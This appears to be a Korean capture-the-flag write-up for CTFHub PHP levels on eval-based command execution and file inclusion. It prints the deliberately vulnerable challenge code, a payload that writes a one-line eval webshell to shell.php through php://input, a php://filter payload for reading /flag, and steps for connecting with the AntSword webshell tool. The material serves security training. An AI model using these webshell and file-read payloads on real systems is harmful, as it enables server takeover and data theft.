CTFHUB - RCE 평가 실행 및 파일 포함 취약점

CTFHUB - RCE 평가 실행 및 파일 포함 취약점

평가 실행

이 패스의 코드는 그림에 나와 있습니다.
여기에 이미지 설명 삽입

 <?php
if (isset($_REQUEST['cmd'])) {
    
    
    eval($_REQUEST["cmd"]);
} else {
    
    
    highlight_file(__FILE__);
}
?> 

코드는 cmd 매개변수가 있는 것처럼 해석한 다음 eval 함수를 사용하여 cmd 매개변수의 코드를 실행하므로 이 수준에서 명령 실행이 있습니다.
명령어 로 현재 디렉토리 파일을 보면 lsindex.php 파일이 하나밖에 없기
여기에 이미지 설명 삽입
때문에 ls /명령어로 모든 디렉토리를 보고
여기에 이미지 설명 삽입
성공적으로 플래그 파일을 찾은 후 cat 명령어로 봅니다.
여기에 이미지 설명 삽입

파일에는

이 수준을 학습할 때 파일 포함 취약점에 대해 잘 모른다면 파일 포함 취약점에 대해 자세히 설명하는 내 기사를 확인할 수 있습니다.
파일에는 취약점에 대한 포괄적이고 상세한 설명이 포함되어 있으며
이 레벨에 진입하면 그림과 같은 코드가 표시됩니다.
여기에 이미지 설명 삽입

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    
    
    if (!strpos($_GET["file"], "flag")) {
    
    
        include $_GET["file"];
    } else {
    
    
        echo "Hacker!!!";
    }
} else {
    
    
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

여기에 strpos(string, find, start) 함수가 있는데, 문자열 문자열
에서 find의 위치를 ​​찾는다는 뜻이고, start는 검색의 시작 위치입니다.
파일, 다음을 실행 include $_GET ["file"]
그렇지 않으면 Hacker를 출력합니다.

아래 영어에서 우리는 이 수준에 shell.txt가 있다는 것을 알고 있습니다. 파란색 셸을 클릭하면 shell.txt 인터페이스로 이동하여
여기에 이미지 설명 삽입
일반적인 한 문장으로 된 트로이 목마 파일이 포함되어 있음을 알 수 있습니다. 여기에 함수를 포함하므로 플래그를 가져오는 두 가지 방법이 있습니다.

방법 1: 포스트를 통해 패키지를 직접 전송하여 명령을 실행하고
ctfhub에서 전달한 매개변수를 php로 실행합니다.

여기에 이미지 설명 삽입
현재 디렉터리를 성공적으로 획득했습니다.
다음 단계는 post를 통해 매개 변수를 전달하여 명령을 실행하는 것을 제외하고 이전 단계와 동일합니다.

현재 디렉토리를 모두 보고 플래그 파일 찾기
여기에 이미지 설명 삽입
cat 명령을 통해 플래그 파일 보기
여기에 이미지 설명 삽입
방법 2: 웹쉘 도구를 통해 shell.txt 파일에 직접 연결
여기에서는 Ant Sword를 통해 shell.txt 파일에 직접 연결합니다
여기에 이미지 설명 삽입
. 참고: 닫는 것을 기억하세요. 그렇지 않으면 불가능합니다. 제대로 연결할 수 없습니다.
추가 후 배경으로 들어가도록 변경됩니다.
여기에 이미지 설명 삽입
마우스 오른쪽 버튼을 클릭하여 터미널 명령 열기
여기에 이미지 설명 삽입
터미널에 들어간 후 이전 명령과 동일한 명령을 입력하고 성공적으로 플래그를 얻습니다.
여기에 이미지 설명 삽입

php://입력

이 레벨에 들어가면 코드가 그림에 표시됩니다.
여기에 이미지 설명 삽입

<?php
if (isset($_GET['file'])) {
    
    
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
    
    
        include($_GET["file"]);
    } else {
    
    
        echo "Hacker!!!";
    }
} else {
    
    
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

코드의 의미는 substr 함수를 사용하여 파일 매개변수의 처음 5자를 판단하여 php://와 같으면 include 함수가 실행된다는 것입니다.

따라서 이 수준에서는 의사 프로토콜을 사용해야 하며 의사 프로토콜 php://input을 통해 PHP 코드를 실행할 수 있습니다. 깃발을 얻는 방법에는 여전히 두 가지가 있습니다.

방법 1: post 매개 변수를 통해 브라우저에서 직접 명령을 실행합니다.
현재 디렉터리 조회
여기에 이미지 설명 삽입
모든 디렉터리 조회 및 플래그 파일 찾기
여기에 이미지 설명 삽입
cat 명령을 통해 플래그 획득
여기에 이미지 설명 삽입
방법 2: php://input pseudo-protocol을 통해 한 문장의 트로이 목마를 작성한 후 개미를 통해 플래그 획득 칼 연결.
작성 코드는 다음과 같으며, 버프슈트를 이용하여 패킷을 캡쳐하여 리피터 모듈을 통해 작성하여 한 단어 트로이목마 작성 성공 여부를 보다 직관적으로 알 수 있도록 하는 것이 좋습니다.

<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');?>

여기에 이미지 설명 삽입
Ant Sword를 통한 연결 연결에
여기에 이미지 설명 삽입
성공한 후 나머지 단계는 이전 단계와 동일합니다. 터미널을 입력하고 명령을 입력하여 플래그를 쿼리하십시오.
여기에 이미지 설명 삽입
여기에 이미지 설명 삽입

원격 포함

이 레벨에 진입한 후 코드는 다음과 같습니다.
여기에 이미지 설명 삽입

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    
    
    if (!strpos($_GET["file"], "flag")) {
    
    
        include $_GET["file"];
    } else {
    
    
        echo "Hacker!!!";
    }
} else {
    
    
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

코드 설명: 이 수준의 코드는 첫 번째 수준의 파일 포함과 동일합니다 strpos 함수는 매개 변수에 플래그 문자가 있는지 여부를 판단하는 데 사용되며 존재하는 경우 포함 함수가 실행됩니다. 이 레벨은 php://input pseudo-protocol을 제한하지 않기 때문에 이 레벨의 솔루션은 이전 레벨과 동일하므로 여기서는 반복하지 않겠습니다.

플래그는 다음과 같습니다
여기에 이미지 설명 삽입

소스 코드 읽기

이 수준의 코드는 다음과 같습니다.
여기에 이미지 설명 삽입

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    
    
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
    
    
        include($_GET["file"]);
    } else {
    
    
        echo "Hacker!!!";
    }
} else {
    
    
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

코드 설명: 이 수준의 코드는 이전 php://input 수준과 동일하며, substr 함수는 파일 매개변수가 php://와 같은지 여부를 결정하는 데 사용되며, 같으면 include 함수는 다음과 같습니다. 실행.

이 레벨의 주제는 소스 코드를 읽는 것이므로 이 레벨에서는 php pseudo-protocol의 필터를 사용하여 소스 코드를 읽어야 합니다.
페이로드는 다음과 같습니다.

php://filter/convert.base64-encode/resource=/flag

플래그의 base64 인코딩을 성공적으로 획득했으며
여기에 이미지 설명 삽입
디코딩 후 플래그를 성공적으로 획득했습니다.
여기에 이미지 설명 삽입

물론 이 레벨에는 제한이 없으며 직접 읽으면 성공적으로 플래그를 읽을 수 있습니다.
여기에 이미지 설명 삽입

추천

출처blog.csdn.net/m0_46467017/article/details/126634136